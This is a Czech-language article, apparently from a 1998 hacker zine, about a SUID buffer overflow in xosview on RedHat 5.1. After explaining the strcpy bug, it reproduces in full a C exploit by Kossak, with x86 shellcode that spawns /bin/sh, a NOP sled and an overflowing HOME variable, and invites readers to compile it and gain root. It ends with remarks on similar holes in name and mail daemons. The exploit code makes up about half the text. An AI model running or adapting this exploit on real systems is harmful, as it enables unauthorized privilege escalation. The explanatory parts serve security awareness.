Security hole v xosview
-=-=-=-=-=-=-=-=-=-=-=-=-
A master programmer passed a novice programmer one day. The
master noted the novice's preoccupation with a hand-held computer
game. "Excuse me," he said, "may I examine it?"
The novice bolted to attention and handed the device to the
master. "I see that the device claims to have three levels of play:
Easy, Medium and Hard," said the master. "Yet every such device has
another level of play, where the device seeks not to conquer the
human, nor to be conquered by the human."
"Pray, great master," implored the novice, "how does one find
these mysterious settings?"
The master dropped the device to the ground and crushed it under
foot. And suddenly the novice was enlightened.
-- Geoffrey James, "The Tao of Programming"
Abych názorně demonstroval, jak jsou průniky snadné, rozhodl
jsem se uvédst praktický příklad. Pokud doma vlastníte distribuci
Linuxu RedHat 5.1 bez dalších úprav (samozřejmě, že v adresáři
updates na ftp.redhat.com se nachází již opravená verze), můžete si
zkusit systém prorazit.
Je to snadné. Ve verzi 5.1 díky trestuhodné nedbalosti autorů
distribuce přibyl nový SUID program. SUID znamená, že program si
může propůjčit práva svého vlastníka (v tomto případě roota-sysopa)
i když byl spuštěn normálním uživatelem - je tedy velmi nebezpečný.
SUID programy se používají pro činnosti, které normální programy
dělat nemohou, ale přesto by je uživatelé dělat měli - například
nastavovaní hesla. Náš program je ale úplně zbytečná utilitka
moniturující zatížení počítače. Ze záhadných důvodů mu autoři
nastavili SUID. To vůbec není třeba, protože v Linuxu i normální
proces může zjistit zatížení. Tomuto programu jako první věnoval
pozornost hacker Chris. Udělal jednoduchou věc - prohledal zdroják
na strcpy (nejčastější to původce podobných chyb) a výsledek se
dostavil v souboru Xrm.cc se nachácí:
char userrfilename[1024];
...
strcpy(userrfilename, getenv("HOME"));
a to je zcela zjevný a primitivní buffer owerflow. Okamžitě
o svém objevu napsal na www.rootshell.com a další místa, aby správci
sítí věděli, co zalátat. Časem se dostavil i exploid (program co
nasype ty správná data, aby se spustil shell). Vám tedy stačí jej
zkompilovat a spustit. Za chvíli máte rootovská práva. Tady je:
Date: Fri, 29 May 1998 18:14:22 +0100
From: Kossak <ldvg@CAMOES.RNL.IST.UTL.PT>
Subject: Re: Tiresome security hole in "xosview" (xosexp.c)
/* xosview 1.5.1 buffer overrun exploit
* brought to you by Kossak (ldvg@rnl.ist.utl.pt)
*
* yep, this is a shameless rip from Aleph's tutorials, but it sure
* works... Lets keep those exploits coming!! :)
* Thanks to Chris Evans for posting the bug.
*/
/* NOTE!!! xosview needs an open X display for this to work, so remember
* to modify the source (line 62), with your ip.
* The offset and buffer size work with me fine, but you might need to
* change them.
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 1150
#define DEFAULT_BUFFER_SIZE 3500
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("xosview exploit by Kossak\n");
printf("try changing the default values if you dont get root now.\n");
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("HOME", buff, 1);
system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */
}
Samozřejmě, že zrovna tento příklad je poměrně hloupý
a málokterý správce si nainstaluje tak podivný SUID program na svůj
server (já jsem ho tam ale měl:). Existují ale podobné díry
i v jiných programech. Minulý týden se jeden šeredný cracker vloupal
do našeho Táborského serveru pomocí name daemona, což je program
běžící na nameserveru každé domény, a to většinou bývá důležitý
počítač. Až do nedávné verze v něm byl úplně stejný buffer overflow
jako v tomto příkladu.
Velmi časté jsou také chyby v daemonu na rozesílání pošty. Ten
je poměrně komplikovaný a z čistě historichých důvodů musí mít pod
UNIXem rootovská práva. Je tedy pravým rájem crackerů. Jiný zářný
příklad špatného příkladu je Web server či X Window systém.
výheň